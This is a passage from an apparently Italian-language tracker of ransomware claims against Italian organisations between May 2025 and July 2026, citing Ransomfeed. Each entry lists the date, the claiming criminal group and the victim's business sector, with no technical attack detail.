dati: Ransomfeed) 11-07-2026 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 13-07-2026 – L’attacco è stato rivendicato dal gruppo criminale lockBit5. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 14-07-2026 – L’attacco è stato rivendicato dal gruppo criminale dragonforce. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 14-07-2026 – L’attacco è stato rivendicato dal gruppo criminale payoutsking. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 18-07-2026 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 23-07-2026 – L’attacco è stato rivendicato dal gruppo criminale nightspire. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 25-07-2026 – L’attacco è stato rivendicato dal gruppo criminale nova. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 28-07-2026 – L’attacco è stato rivendicato dal gruppo criminale Deadlock. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 01-06-2026 – L’attacco è stato rivendicato dal gruppo criminale safepay. Azienda operante nel settore Distribution (fonte dati: Ransomfeed) 01-06-2026 – L’attacco è stato rivendicato dal gruppo criminale safepay. Azienda operante nel settore Utility (fonte dati: Ransomfeed) 01-06-2026 – L’attacco è stato rivendicato dal gruppo criminale safepay. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 09-06-2026 – L’attacco è stato rivendicato dal gruppo criminale nova. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 10-06-2026 – L’attacco è stato rivendicato dal gruppo criminale spacebears. Azienda operante nel settore (fonte dati: Ransomfeed) 12-06-2026 – L’attacco è stato rivendicato dal gruppo criminale nightspire. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 15-06-2026 – L’attacco è stato rivendicato dal gruppo criminale thegentlemen. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 16-06-2026 – L’attacco è stato rivendicato dal gruppo criminale dragonforce. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 17-06-2026 – L’attacco è stato rivendicato dal gruppo criminale safepay. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 24-06-2026 – L’attacco è stato rivendicato dal gruppo criminale thegentlemen. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 24-06-2026 – L’attacco è stato rivendicato dal gruppo criminale stormous. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 28-06-2026 – L’attacco è stato rivendicato dal gruppo criminale deadlock. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 30-06-2026 – L’attacco è stato rivendicato dal gruppo criminale incransom. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 01-05-2026 – L’attacco è stato rivendicato dal gruppo criminale lockbit5. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 04-05-2026 – L’attacco è stato rivendicato dal gruppo criminale safepay. Azienda operante nel settore Local administrations (fonte dati: Ransomfeed) 05-05-2026 – L’attacco è stato rivendicato dal gruppo criminale everest. Azienda operante nel settore Consulting (fonte dati: Ransomfeed) 05-05-2026 – L’attacco è stato rivendicato dal gruppo criminale medusalocker. Azienda operante nel settore Business Services (fonte dati: Ransomfeed) 06-05-2026 – L’attacco è stato rivendicato dal gruppo criminale thegentlemen. Azienda operante nel settore Marketing (fonte dati: Ransomfeed) 06-05-2026 – L’attacco è stato rivendicato dal gruppo criminale thegentlemen. Azienda operante nel settore Medias and audiovisual (fonte dati: Ransomfeed) 06-05-2026 – L’attacco è stato rivendicato dal gruppo criminale thegentlemen. Azienda operante nel settore Technologies (fonte dati: Ransomfeed) 06-05-2026 – L’attacco è stato rivendicato dal gruppo criminale thegentlemen. Azienda operante nel settore Medias and audiovisual (fonte dati: Ransomfeed) 06-05-2026 – L’attacco è stato rivendicato dal gruppo criminale safepay. Azienda operante nel settore Food and drinks businesses (fonte dati: Ransomfeed) 06-05-2026 – L’attacco è stato rivendicato dal gruppo criminale safepay. Azienda operante nel settore Architecture (fonte dati: Ransomfeed) 06-05-2026 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 17-05-2026 – L’attacco è stato rivendicato dal gruppo criminale m3rx. Azienda operante nel settore Agriculture and agribusiness (fonte dati: Ransomfeed) 18-05-2026 – L’attacco è stato rivendicato dal gruppo criminale titan. Azienda operante nel settore Automotive (fonte dati: Ransomfeed) 22-05-2026 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Academic Institutions (fonte dati: Ransomfeed) 26-05-2026 – L’attacco è stato rivendicato dal gruppo criminale spacebears. Azienda operante nel settore Transport (fonte dati: Ransomfeed) 27-05-2026 – L’attacco è stato rivendicato dal gruppo criminale dragonforce. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 27-05-2026 – L’attacco è stato rivendicato dal gruppo criminale nova. Azienda operante nel settore Real Estate / Real Estate Management (fonte dati: Ransomfeed) 28-05-2026 – L’attacco è stato rivendicato dal gruppo criminale thegentlemen. Azienda operante nel settore Heavy industries (fonte dati: Ransomfeed) 02-04-2026 – L’attacco è stato rivendicato dal gruppo criminale incransom. Azienda operante nel settore Business Services (fonte dati: Ransomfeed) 03-04-2026 – L’attacco è stato rivendicato dal gruppo criminale netrunner. Azienda operante nel settore Telecommunications (fonte dati: Ransomfeed) 04-04-2026 – L’attacco è stato rivendicato dal gruppo criminale thegentlemen. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 04-04-2026 – L’attacco è stato rivendicato dal gruppo criminale thegentlemen. Azienda operante nel settore Unknown (fonte dati: Ransomfeed) 06-04-2026 – L’attacco è stato rivendicato dal gruppo criminale anubis. Azienda operante nel settore Information Technologies Consulting (fonte dati: Ransomfeed) 06-04-2026 – L’attacco è stato rivendicato dal gruppo criminale lockbit5. Azienda operante nel settore Entertainment industry (fonte dati: Ransomfeed) 06-04-2026 – L’attacco è stato rivendicato dal gruppo criminale lockbit5. Azienda operante nel settore Apparel (fonte dati: Ransomfeed) 06-04-2026 – L’attacco è stato rivendicato dal gruppo criminale lockbit5. Azienda operante nel settore Defense industry (fonte dati: Ransomfeed) 06-04-2026 – L’attacco è stato rivendicato dal gruppo criminale lockbit5. Azienda operante nel settore Construction (fonte dati: Ransomfeed) 06-04-2026 – L’attacco è stato rivendicato dal gruppo criminale lockbit5. Azienda operante nel settore Road transport (fonte dati: Ransomfeed) 06-04-2026 – L’attacco è stato rivendicato dal gruppo criminale lockbit5. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 13-04-2026 – L’attacco è stato rivendicato dal gruppo criminale dragonforce. Azienda operante nel settore Information Technologies Consulting (fonte dati: Ransomfeed) 13-04-2026 – L’attacco è stato rivendicato dal gruppo criminale lamashtu. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 13-04-2026 – L’attacco è stato rivendicato dal gruppo criminale lamashtu. Azienda operante nel settore Logistics (fonte dati: Ransomfeed) 14-04-2026 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Utility (fonte dati: Ransomfeed) 15-04-2026 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Construction (fonte dati: Ransomfeed) 17-04-2026 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Pharmacy and drugs manufacturing (fonte dati: Ransomfeed) 18-04-2026 – L’attacco è stato rivendicato dal gruppo criminale coinbasecartel. Azienda operante nel settore Construction (fonte dati: Ransomfeed) 19-04-2026 – L’attacco è stato rivendicato dal gruppo criminale thegentlemen. Azienda operante nel settore Food and drinks businesses (fonte dati: Ransomfeed) 19-04-2026 – L’attacco è stato rivendicato dal gruppo criminale thegentlemen. Azienda operante nel settore Finance (fonte dati: Ransomfeed) 22-04-2026 – L’attacco è stato rivendicato dal gruppo criminale lockbit5. Azienda operante nel settore Entertainment industry (fonte dati: Ransomfeed) 27-04-2026 – L’attacco è stato rivendicato dal gruppo criminale incransom. Azienda operante nel settore Retail (distribution) (fonte dati: Ransomfeed) 27-04-2026 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Entertainment industry (fonte dati: Ransomfeed) 29-04-2026 – L’attacco è stato rivendicato dal gruppo criminale m3rx. Azienda operante nel settore Automotive (fonte dati: Ransomfeed) 29-04-2026 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Apparel (fonte dati: Ransomfeed) 30-04-2026 – L’attacco è stato rivendicato dal gruppo criminale payoutsking. Azienda operante nel settore Heavy industries (fonte dati: Ransomfeed) 30-04-2026 – L’attacco è stato rivendicato dal gruppo criminale nova. Azienda operante nel settore Real Estate / Real Estate Management (fonte dati: Ransomfeed) 30-04-2026 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 01-03-2026 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Logistics (fonte dati: Ransomfeed) 02-03-2026 – L’attacco è stato rivendicato dal gruppo criminale lockbit5. Azienda operante nel settore (fonte dati: Ransomfeed) 04-03-2026 – L’attacco è stato rivendicato dal gruppo criminale lockbit5. Azienda operante nel settore Food and drinks businesses (fonte dati: Ransomfeed) 04-03-2026 – L’attacco è stato rivendicato dal gruppo criminale tengu. Azienda operante nel settore Technologies (fonte dati: Ransomfeed) 05-03-2026 – L’attacco è stato rivendicato dal gruppo criminale lockbit5. Azienda operante nel settore Personal care (fonte dati: Ransomfeed) 07-03-2026 – L’attacco è stato rivendicato dal gruppo criminale lockbit5. Azienda operante nel settore Food and drinks businesses (fonte dati: Ransomfeed) 09-03-2026 – L’attacco è stato rivendicato dal gruppo criminale lockbit5. Azienda operante nel settore Construction (fonte dati: Ransomfeed) 09-03-2026 – L’attacco è stato rivendicato dal gruppo criminale lockbit5. Azienda operante nel settore Food and drinks businesses (fonte dati: Ransomfeed) 10-03-2026 – L’attacco è stato rivendicato dal gruppo criminale dragonforce. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 12-03-2026 – L’attacco è stato rivendicato dal gruppo criminale lockbit5. Azienda operante nel settore Mining (fonte dati: Ransomfeed) 12-03-2026 – L’attacco è stato rivendicato dal gruppo criminale nightspire. Azienda operante nel settore Agriculture and agribusiness (fonte dati: Ransomfeed) 13-03-2026 – L’attacco è stato rivendicato dal gruppo criminale lockbit5. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 13-03-2026 – L’attacco è stato rivendicato dal gruppo criminale lockbit5. Azienda operante nel settore Healthcare services (fonte dati: Ransomfeed) 18-03-2026 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 18-03-2026 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Information Technologies Consulting (fonte dati: Ransomfeed) 18-03-2026 – L’attacco è stato rivendicato dal gruppo criminale dragonforce. Azienda operante nel settore Luxury (fonte dati: Ransomfeed) 19-03-2026 – L’attacco è stato rivendicato dal gruppo criminale coinbasecartel. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 20-03-2026 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 21-03-2026 – L’attacco è stato rivendicato dal gruppo criminale lockbit5. Azienda operante nel settore Construction (fonte dati: Ransomfeed) 25-03-2026 – L’attacco è stato rivendicato dal gruppo criminale ALP-001. Azienda operante nel settore Technologies (fonte dati: Ransomfeed) 26-03-2026 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Cloud service providers (fonte dati: Ransomfeed) 31-03-2026 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Construction (fonte dati: Ransomfeed) 02-02-2026 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Construction (fonte dati: Ransomfeed) 03-02-2026 – L’attacco è stato rivendicato dal gruppo criminale medusa. Azienda operante nel settore Local administrations (fonte dati: Ransomfeed) 06-02-2026 – L’attacco è stato rivendicato dal gruppo criminale thegentlemen. Azienda operante nel settore Construction (fonte dati: Ransomfeed) 06-02-2026 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Culture and entertainment (fonte dati: Ransomfeed) 07-02-2026 – L’attacco è stato rivendicato dal gruppo criminale clop. Azienda operante nel settore Healthcare services (fonte dati: Ransomfeed) 07-02-2026 – L’attacco è stato rivendicato dal gruppo criminale lockbit5. Azienda operante nel settore Automotive (fonte dati: Ransomfeed) 13-02-2026 – L’attacco è stato rivendicato dal gruppo criminale spacebears. Azienda operante nel settore Avionics (fonte dati: Ransomfeed) 14-02-2026 – L’attacco è stato rivendicato dal gruppo criminale nightspire. Azienda operante nel settore Unknown (fonte dati: Ransomfeed) 14-02-2026 – L’attacco è stato rivendicato dal gruppo criminale incransom. Azienda operante nel settore Fintech (fonte dati: Ransomfeed) 16-02-2026 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore High-tech (fonte dati: Ransomfeed) 16-02-2026 – L’attacco è stato rivendicato dal gruppo criminale dragonforce. Azienda operante nel settore Information Technologies Consulting (fonte dati: Ransomfeed) 16-02-2026 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Food and drinks businesses (fonte dati: Ransomfeed) 16-02-2026 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Non-Governmental Organizations (NGOs) (fonte dati: Ransomfeed) 18-02-2026 – L’attacco è stato rivendicato dal gruppo criminale tengu. Azienda operante nel settore Information Technologies Consulting (fonte dati: Ransomfeed) 18-02-2026 – L’attacco è stato rivendicato dal gruppo criminale spacebears. Azienda operante nel settore Pharmacy and drugs manufacturing (fonte dati: Ransomfeed) 20-02-2026 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 21-02-2026 – L’attacco è stato rivendicato dal gruppo criminale thegentlemen. Azienda operante nel settore Sports (fonte dati: Ransomfeed) 25-02-2026 – L’attacco è stato rivendicato dal gruppo criminale nightspire. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 25-02-2026 – L’attacco è stato rivendicato dal gruppo criminale tengu. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 28-02-2026 – L’attacco è stato rivendicato dal gruppo criminale vect. Azienda operante nel settore Hosting service providers (fonte dati: Ransomfeed) 28-02-2026 – L’attacco è stato rivendicato dal gruppo criminale payload. Azienda operante nel settore (fonte dati: Ransomfeed) 02-01-2026 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Services (fonte dati: Ransomfeed) 05-01-2026 – L’attacco è stato rivendicato dal gruppo criminale nova. Azienda operante nel settore Logistics (fonte dati: Ransomfeed) 06-01-2026 – L’attacco è stato rivendicato dal gruppo criminale brotherhood. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 07-01-2026 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 08-01-2026 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 08-01-2026 – L’attacco è stato rivendicato dal gruppo criminale clop. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 08-01-2026 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Information Technologies Consulting (fonte dati: Ransomfeed) 13-01-2026 – L’attacco è stato rivendicato dal gruppo criminale incransom. Azienda operante nel settore Agriculture and agribusiness (fonte dati: Ransomfeed) 14-01-2026 – L’attacco è stato rivendicato dal gruppo criminale anubis. Azienda operante nel settore Maritime transport (fonte dati: Ransomfeed) 15-01-2026 – L’attacco è stato rivendicato dal gruppo criminale lockbit5. Azienda operante nel settore Retail (distribution) (fonte dati: Ransomfeed) 17-01-2026 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Heavy industries (fonte dati: Ransomfeed) 17-01-2026 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Construction (fonte dati: Ransomfeed) 19-01-2026 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 20-01-2026 – L’attacco è stato rivendicato dal gruppo criminale thegentlemen. Azienda operante nel settore Food and drinks businesses (fonte dati: Ransomfeed) 20-01-2026 – L’attacco è stato rivendicato dal gruppo criminale sarcoma. Azienda operante nel settore Engineering consulting (fonte dati: Ransomfeed) 20-01-2026 – L’attacco è stato rivendicato dal gruppo criminale thegentlemen. Azienda operante nel settore Transport (fonte dati: Ransomfeed) 21-01-2026 – L’attacco è stato rivendicato dal gruppo criminale lockbit5. Azienda operante nel settore Automotive (fonte dati: Ransomfeed) 24-01-2026 – L’attacco è stato rivendicato dal gruppo criminale safepay. Azienda operante nel settore Technologies (fonte dati: Ransomfeed) 25-01-2026 – L’attacco è stato rivendicato dal gruppo criminale clop. Azienda operante nel settore Food and drinks businesses (fonte dati: Ransomfeed) 30-01-2026 – L’attacco è stato rivendicato dal gruppo criminale clop. Azienda operante nel settore Maritime transport (fonte dati: Ransomfeed) Il dato del numero totale di rivendicazioni ransomware contro target italiani, aggiornato al 31/12/2025: 169 01-12-2025 – L’attacco è stato rivendicato dal gruppo criminale devman. Azienda operante nel settore Unknown (fonte dati: Ransomfeed) 02-12-2025 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 06-12-2025 – L’attacco è stato rivendicato dal gruppo criminale datacarry. Azienda operante nel settore Food and drinks businesses (fonte dati: Ransomfeed) 07-12-2025 – L’attacco è stato rivendicato dal gruppo criminale lockbit5. Azienda operante nel settore Local administrations (fonte dati: Ransomfeed) 07-12-2025 – L’attacco è stato rivendicato dal gruppo criminale lockbit5. Azienda operante nel settore Business Services (fonte dati: Ransomfeed) 07-12-2025 – L’attacco è stato rivendicato dal gruppo criminale lockbit5. Azienda operante nel settore Food and drinks businesses (fonte dati: Ransomfeed) 10-12-2025 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Logistics (fonte dati: Ransomfeed) 15-12-2025 – L’attacco è stato rivendicato dal gruppo criminale ms13089. Azienda operante nel settore Legal consulting (fonte dati: Ransomfeed) 16-12-2025 – L’attacco è stato rivendicato dal gruppo criminale sinobi. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 16-12-2025 – L’attacco è stato rivendicato dal gruppo criminale everest. Azienda operante nel settore Engineering consulting (fonte dati: Ransomfeed) 18-12-2025 – L’attacco è stato rivendicato dal gruppo criminale sinobi. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 19-12-2025 – L’attacco è stato rivendicato dal gruppo criminale medusa. Azienda operante nel settore Food and drinks businesses (fonte dati: Ransomfeed) 21-12-2025 – L’attacco è stato rivendicato dal gruppo criminale incransom. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 22-12-2025 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Business Services (fonte dati: Ransomfeed) 22-12-2025 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Services (fonte dati: Ransomfeed) 23-12-2025 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Business Services (fonte dati: Ransomfeed) 26-12-2025 – L’attacco è stato rivendicato dal gruppo criminale chaos. Azienda operante nel settore Durables (fonte dati: Ransomfeed) 26-12-2025 – L’attacco è stato rivendicato dal gruppo criminale lockbit5. Azienda operante nel settore Heavy industries (fonte dati: Ransomfeed) 27-12-2025 – L’attacco è stato rivendicato dal gruppo criminale safepay. Azienda operante nel settore Business Services (fonte dati: Ransomfeed) 29-12-2025 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 06-11-2025 – L’attacco è stato rivendicato dal gruppo criminale warlock. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 07-11-2025 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Finance (fonte dati: Ransomfeed) 08-11-2025 – L’attacco è stato rivendicato dal gruppo criminale dragonforce. Azienda operante nel settore Personal care (fonte dati: Ransomfeed) 10-11-2025 – L’attacco è stato rivendicato dal gruppo criminale everest. Azienda operante nel settore Heavy industries (fonte dati: Ransomfeed) 12-11-2025 – L’attacco è stato rivendicato dal gruppo criminale ransomhouse. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 12-11-2025 – L’attacco è stato rivendicato dal gruppo criminale incransom. Azienda operante nel settore Education (fonte dati: Ransomfeed) 13-11-2025 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Architecture (fonte dati: Ransomfeed) 15-11-2025 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Food and drinks businesses (fonte dati: Ransomfeed) 18-11-2025 – L’attacco è stato rivendicato dal gruppo criminale safepay. Azienda operante nel settore Education (fonte dati: Ransomfeed) 24-11-2025 – L’attacco è stato rivendicato dal gruppo criminale thegentlemen. Azienda operante nel settore Construction (fonte dati: Ransomfeed) 30-11-2025 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 08-10-2025 – L’attacco è stato rivendicato dal gruppo criminale sinobi. Azienda operante nel settore Distribution (fonte dati: Ransomfeed) 12-10-2025 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Services (fonte dati: Ransomfeed) 14-10-2025 – L’attacco è stato rivendicato dal gruppo criminale dragonforce. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 14-10-2025 – L’attacco è stato rivendicato dal gruppo criminale thegentlemen. Azienda operante nel settore Entertainment industry (fonte dati: Ransomfeed) 20-10-2025 – L’attacco è stato rivendicato dal gruppo criminale medusa. Azienda operante nel settore Technologies (fonte dati: Ransomfeed) 21-10-2025 – L’attacco è stato rivendicato dal gruppo criminale beast. Azienda operante nel settore Technologies (fonte dati: Ransomfeed) 25-10-2025 – L’attacco è stato rivendicato dal gruppo criminale medusa. Azienda operante nel settore Pharmacy and drugs manufacturing (fonte dati: Ransomfeed) 02-09-2025 – L’attacco è stato rivendicato dal gruppo criminale everest. Azienda operante nel settore Attorney (fonte dati: Ransomfeed) 15-09-2025 – L’attacco è stato rivendicato dal gruppo criminale everest. Azienda operante nel settore Legal consulting (fonte dati: Ransomfeed) 15-09-2025 – L’attacco è stato rivendicato dal gruppo criminale everest. Azienda operante nel settore Energy (fonte dati: Ransomfeed) 15-09-2025 – L’attacco è stato rivendicato dal gruppo criminale everest. Azienda operante nel settore Attorney (fonte dati: Ransomfeed) 15-09-2025 – L’attacco è stato rivendicato dal gruppo criminale incransom. Azienda operante nel settore Heavy industries (fonte dati: Ransomfeed) 17-09-2025 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 18-09-2025 – L’attacco è stato rivendicato dal gruppo criminale crypto24. Azienda operante nel settore Insurance services (fonte dati: Ransomfeed) 25-09-2025 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Engineering consulting (fonte dati: Ransomfeed) 01-08-2025 – L’attacco è stato rivendicato dal gruppo criminale dragonforce. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 02-08-2025 – L’attacco è stato rivendicato dal gruppo criminale IMNCrew. Azienda operante nel settore Heavy industries (fonte dati: Ransomfeed) 06-08-2025 – L’attacco è stato rivendicato dal gruppo criminale blacknevas. Azienda operante nel settore Services (fonte dati: Ransomfeed) 07-08-2025 – L’attacco è stato rivendicato dal gruppo criminale spacebears. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 08-08-2025 – L’attacco è stato rivendicato dal gruppo criminale lynx. Azienda operante nel settore Gambling (fonte dati: Ransomfeed) 09-08-2025 – L’attacco è stato rivendicato dal gruppo criminale everest. Azienda operante nel settore Heavy industries (fonte dati: Ransomfeed) 10-08-2025 – L’attacco è stato rivendicato dal gruppo criminale rhysida. Azienda operante nel settore Information Technologies Consulting (fonte dati: Ransomfeed) 11-08-2025 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Logistics (fonte dati: Ransomfeed) 14-08-2025 – L’attacco è stato rivendicato dal gruppo criminale direwolf. Azienda operante nel settore Attorney (fonte dati: Ransomfeed) 14-08-2025 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Business Services (fonte dati: Ransomfeed) 15-08-2025 – L’attacco è stato rivendicato dal gruppo criminale sarcoma. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 20-08-2025 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore High-tech (fonte dati: Ransomfeed) 23-08-2025 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Construction (fonte dati: Ransomfeed) 23-08-2025 – L’attacco è stato rivendicato dal gruppo criminale dragonforce. Azienda operante nel settore Business Services (fonte dati: Ransomfeed) 27-08-2025 – L’attacco è stato rivendicato dal gruppo criminale sarcoma. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 29-08-2025 – L’attacco è stato rivendicato dal gruppo criminale safepay. Azienda operante nel settore Construction (fonte dati: Ransomfeed) 04-07-2025 – L’attacco è stato rivendicato dal gruppo criminale satanlockv2. Azienda operante nel settore Legal consulting (fonte dati: Ransomfeed) 07-07-2025 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Retail (distribution) (fonte dati: Ransomfeed) 07-07-2025 – L’attacco è stato rivendicato dal gruppo criminale payoutsking. Azienda operante nel settore Durables (fonte dati: Ransomfeed) 08-07-2025 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 09-07-2025 – L’attacco è stato rivendicato dal gruppo criminale lynx. Azienda operante nel settore Business Services (fonte dati: Ransomfeed) 10-07-2025 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Hosting service providers (fonte dati: Ransomfeed) 10-07-2025 – L’attacco è stato rivendicato dal gruppo criminale lynx. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 15-07-2025 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Sports (fonte dati: Ransomfeed) 15-07-2025 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Food and drinks businesses (fonte dati: Ransomfeed) 16-07-2025 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Food and drinks businesses (fonte dati: Ransomfeed) 16-07-2025 – L’attacco è stato rivendicato dal gruppo criminale crypto24. Azienda operante nel settore Technologies (fonte dati: Ransomfeed) 16-07-2025 – L’attacco è stato rivendicato dal gruppo criminale safepay. Azienda operante nel settore Education (fonte dati: Ransomfeed) 21-07-2025 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Consulting (fonte dati: Ransomfeed) 24-07-2025 – L’attacco è stato rivendicato dal gruppo criminale incransom. Azienda operante nel settore Culture and entertainment (fonte dati: Ransomfeed) 25-07-2025 – L’attacco è stato rivendicato dal gruppo criminale global. Azienda operante nel settore Services (fonte dati: Ransomfeed) 26-07-2025 – L’attacco è stato rivendicato dal gruppo criminale global. Azienda operante nel settore Medias and audiovisual (fonte dati: Ransomfeed) 28-07-2025 – L’attacco è stato rivendicato dal gruppo criminale worldleaks. Azienda operante nel settore Energy (fonte dati: Ransomfeed) 30-07-2025 – L’attacco è stato rivendicato dal gruppo criminale J. Azienda operante nel settore Retail (distribution) (fonte dati: Ransomfeed) 01-06-2025 – L’attacco è stato rivendicato dal gruppo criminale sarcoma. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 05-06-2025 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Energy (fonte dati: Ransomfeed) 06-06-2025 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Pharmacy and drugs manufacturing (fonte dati: Ransomfeed) 09-06-2025 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Services (fonte dati: Ransomfeed) 09-06-2025 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Unknown (fonte dati: Ransomfeed) 11-06-2025 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Food and drinks businesses (fonte dati: Ransomfeed) 19-06-2025 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 23-06-2025 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Automotive (fonte dati: Ransomfeed) 26-06-2025 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Consulting (fonte dati: Ransomfeed) 29-06-2025 – L’attacco è stato rivendicato dal gruppo criminale worldleaks. Azienda operante nel settore Telecommunications (fonte dati: Ransomfeed) 30-06-2025 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Consulting (fonte dati: Ransomfeed) 01-05-2025 – L’attacco è stato rivendicato dal gruppo criminale incransom. Azienda operante nel settore Business Services (fonte dati: Ransomfeed) 04-05-2025 – L’attacco è stato rivendicato dal gruppo criminale sarcoma. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 08-05-2025 – L’attacco è stato rivendicato dal gruppo criminale nova. Azienda operante nel settore Information Technologies Consulting (fonte dati: Ransomfeed) 10-05-2025 – L’attacco è stato rivendicato dal gruppo criminale nova. Azienda operante nel settore Human Services (fonte dati: Ransomfeed) 20-05-2025 – L’attacco è stato rivendicato dal gruppo criminale IMNCrew. Azienda operante nel settore Construction 